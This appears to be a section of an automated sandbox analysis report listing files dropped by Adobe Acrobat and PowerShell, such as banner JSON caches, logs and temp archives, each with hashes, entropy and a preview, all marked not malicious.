SHA1:	CF70A7E1AC76D22C14B00917C0DE7A3DA686621C
SHA-256:	0637FC8985A242CD963BDAF9D453B2CF82A2EA0E17E7DFD965BBC3AA93BB56F5
SHA-512:	F1392119E8BE27942E225A1F7FC38568E02F0839C6F99E8B07D586BCC206F97B68EC46DBDAC63F2DD6AC81879DAFC2AD34B85CF42A1C1112B2364AE7785AA653
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.294266466389981
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJf+dPeUkwRe9:YvXKXFUqEXH2Zc0vf5G28Ukee9
MD5:	190564281D7241BC3EE3D4CBB7A08AE7
SHA1:	7EB55DAC72F7587DE5961D67086F7786E5FF2769
SHA-256:	5F1A389D23CA2695B2F73C5D8A9F6D1A3EF10F97A83B86ED7CE79D7D91398C99
SHA-512:	F4031B41E6B356B6B7633EA83A0CC931410CFA4BF6B7729A8EC546B2AD58264B53013C84FE5DD74BFE42E94B6ECFBA9FF539BC50ECB61C097EFA5FB7D8FAA730
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2912737545453705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJfbPtdPeUkwRe9:YvXKXFUqEXH2Zc0vf5GDV8Ukee9
MD5:	9F843EBA5BC542A1A9F43855140551D9
SHA1:	4CB778BA4E44E927E8E58CB3CA4F48848D43D55A
SHA-256:	0F8807AE042C64F92230F7BB969BE31E96833D2D6B1F9A577D4BE1F15C38A060
SHA-512:	07E0A019DF28AEBAF8260DAFF442A16EAD3D2E803A3DCB31A135706602F2ACD6815275591ECD990153CBB871B0D4E5B4A4C1AEDB55E874649D8030D79D0B5DF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.295718515168015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJf21rPeUkwRe9:YvXKXFUqEXH2Zc0vf5G+16Ukee9
MD5:	1A647DCDC7FAAFF6A689A541B15ED980
SHA1:	3845C03A0D722005E27553717BF7F56DFBDBC391
SHA-256:	B59AAE75609FA1FA624E7614112227AF5AA27663E24F8F67FBA4CE1CA00B2F24
SHA-512:	F80BCB1FB83F83C73882C4BF6C2F250ADB36CFF4FBA23F2E7EAB30210698D50EBCD2213BE20BB01D97A85CCDF34D504572A18718DB1E342BC94F1EAE8F6166DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669665900436386
Encrypted:	false
SSDEEP:	24:Yv6XyH2zvfCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSn:YvIsBgkDMUJUAh8cvMn
MD5:	052BFE0A1804156582B6FDA3714EF997
SHA1:	0A42BFCEFD2C736E3F42DCB4E9D75C74BF2EF6F0
SHA-256:	0F679A2E4B95BC7337DDE29B1E07468812C916D5149C71CC06AD41DEE2707E84
SHA-512:	FD9472597CCF0B0B74A111BD1ACD5464EA39799706434243A2E1B70BB48DCB958EC1A20BEF09A9E034413AE5949F556F43914BCF51956D6D6D57FF47FF57F515
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272717348056566
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJfshHHrPeUkwRe9:YvXKXFUqEXH2Zc0vf5GUUUkee9
MD5:	BE58FF2EF2A35D02D63FD0A40C33C641
SHA1:	493580C00D9D65050F7E1C3F3640FF94A9A73C08
SHA-256:	7824E2DC04C0751DD5AFC69AC2094BA96D835EE6383823F3298E2C6080A4FD9D
SHA-512:	51D719AFB39B10E2E0F2ED121D27180147C005FE799164B874480CC2D47BA6F2C3CD4936CC0048B5B9CAD19495C6996AB3420808C1E449C5D8771DADCCD174A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.273106339828709
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJTqgFCrPeUkwRe9:YvXKXFUqEXH2Zc0vf5GTq16Ukee9
MD5:	93EAA103E4DC44EA6686DCBF2D7B5D5A
SHA1:	26BB5B2245D90C825E008394432AE1CBFB41DE08
SHA-256:	64562DCC99400B014ACC6B1859F4DBF40C5A5CF4B6CC584F2A5F85C82B1A0C32
SHA-512:	AA82131ABBC2CCF2A117BD304A9F60ED6933DCE70BE00E59A4819FDC2A8ED5767546A819999CEFDF268FE3D10FD8B4C9EB588916DB1E8B1F5516ACE3533769EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.149234984240234
Encrypted:	false
SSDEEP:	24:YIiLIaUkayrlJpkGp/pEfv8MIKUjaYj0SglOEc2LhLx2LSKCRxBmE6nFGx+Myz5h:YIi4upRSLMaaFAxooSbnF8+Muq9q3
MD5:	80D2EF361C255168861219F8DACCFF5A
SHA1:	88A051EEF2D712535DA9E452C6ED67C41CB694B0
SHA-256:	6C7E04DDD63B3E733EBD98184DA03B92BFC222304E8952264605318626778C79
SHA-512:	C49860935F5562CBA377E9A9F4371C73EC5A08FC21CFC4B2F1A128779DB9DDAECD9B8E9D73430237BAF09ECBF944D1DFF98E32714A8BD993E8F7D089D61AC555
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5221d0608769a1392f7fd3c4337b5488","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736849531000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a88862098c30748786baab42506779f2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736849531000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8ccc3f8afe475c9ba8d9d119c4101a37","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736849531000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"346848d77d0bd86b36dfb64cc5cd25fb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736849531000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"41f209cb61b8c292c70a5ced8c70d081","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736849531000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1cda2a1540b30d697bef151a0c72d5e4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1878265657399818
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUenSvR9H9vxFGiDIAEkGVvpSH:lNVmswUUUUUUUUen+FGSIteH
MD5:	64A8DDC6D063FD9F7D46902C26BF40B2
SHA1:	7510A351ED70F03759A9DE55FB3752674677763A
SHA-256:	8BF0C481EDA2F1F4380E654C040F7AE85BA6B9704C59562AE19A6C2F580E9180
SHA-512:	3ED241C69FD951134A07695B642978FA8EAC5F5050692B4C5D006CD303D30EB0A8BE17C3693B9A8164E791DE83E10D195F795E875AA3F06CA1A9F9609C939924
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6083128778562115
Encrypted:	false
SSDEEP:	48:7MDKUUUUUUUUUUe7vR9H9vxFGiDIAEkGVvSnqFl2GL7msJ:7hUUUUUUUUUUeLFGSIt8KVmsJ
MD5:	2CCBA345F518CF42D0F8C1EB8A7E777B
SHA1:	D1D23F168D62ABAB20EAE23FD0EC0406FFA79CF0
SHA-256:	9F1C73557AD8B0AE684CFF49DA5864D727A501980AB9F3D60A0354E587E9D0E5
SHA-512:	FD4620DA6DFEFE7C091A4C4C1249C69E6613C14F74E66213715FFE8F08A7AC0B2635D550D2674FCC20A9C605274C060C7FD0CF9F02B99FD6DA57EC5048441C00
Malicious:	false
Preview:	.... .c........{......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgqYWT/oDZBRHTJ0HKOo/0orlVYyu:6a6TZ44ADEqYWroDZBXVBVK
MD5:	C93695B1F35B28DF256F50992AEB8AAC
SHA1:	8B58C33D31CFAFEF88704B266D1444A028AE656F
SHA-256:	625F39726716679D533FF23BEDD16363A40CDCB7633F662C56A203B4E759B57E
SHA-512:	2F3F6009D26BA1F9C18E82BB18E1BC38B50A3CF7558572F99526F1F8678C1B2A454176F167D5E5EDCABAAC577F3F533D16C84D3044A1F5DBB678D47A775661DB
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI36f62.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sCl4fU2lrCH:Qw946cPbiOxDlbYnuRKIfdlrw
MD5:	0AC5FA7084B7E65AEF161C317147B586
SHA1:	E13B39C0015F934FC350DC1EC669CED19BDA8240
SHA-256:	0CA709D430642AA0B8FBE2F4C64E3D0F65B94565BCDCF8EC14ECC2F679A2796F
SHA-512:	D86ED1C4D606DF3D9AB5EBE596C100EEFA317F8752845F05D973FBF80432BDD4ED9E498D8F348178231B88EFA87FEA08B940C42EE40459D64E2C331140F06F7C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .0.5.:.1.2.:.1.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ads554q.v01.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y5sup1vo.gtw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 05-12-07-761.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.381379070691625
Encrypted:	false
SSDEEP:	384:75LwjtPX43an77YVfF50o59M4vOjdV5eMrM7dl7dZbyr+xwx5CfGLwLejCw8+tda:M/+
MD5:	4D51CCACAAFF72F1274E19B57A958403
SHA1:	1842214BEB9E6852AD637AB29698843C1BC3486D
SHA-256:	7EA8A176FA15CD491C0B319BF16A8DE0ECF62CDF1378E6EE3442F8D40ABD9135
SHA-512:	99EABB0E55DC398B193CA4AF92F568AFD4727E1E280570BC44B89633A7E08621545C2C4A29C79560BC72E801A58DD86F4E5E9245E4548F948B3B75D8EFAB00F4
Malicious:	false
Preview:	SessionID=7c233852-9b4f-4492-abf5-bfd9032c0c46.1736849527777 Timestamp=2025-01-14T05:12:07:777-0500 ThreadID=8000 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7c233852-9b4f-4492-abf5-bfd9032c0c46.1736849527777 Timestamp=2025-01-14T05:12:07:778-0500 ThreadID=8000 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7c233852-9b4f-4492-abf5-bfd9032c0c46.1736849527777 Timestamp=2025-01-14T05:12:07:778-0500 ThreadID=8000 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7c233852-9b4f-4492-abf5-bfd9032c0c46.1736849527777 Timestamp=2025-01-14T05:12:07:778-0500 ThreadID=8000 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7c233852-9b4f-4492-abf5-bfd9032c0c46.1736849527777 Timestamp=2025-01-14T05:12:07:778-0500 ThreadID=8000 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.384832861034907
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rB:V
MD5:	E8374D8673338E8C591FC12A98DE328B
SHA1:	B75C7D381ACA53EF8A0FD36C3EF4066AC867BCA5
SHA-256:	3F040A43E763B6F9762E154BBF03B6F49CE770D44602B9CCA35599D820A2E6EE
SHA-512:	23CE3F897DF5A3C900F0ECAB5845B988462BD49D4A66F49C90666BF122357A022DD699F1DB81183D32AB94B4CB1FCE5797FC56A322096862C52DC3F8F6B90CC2
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0021b81d-a951-4926-af87-55234a43b708.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\5a7e5cd9-9291-43bc-baa4-ff5e37c52b60.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
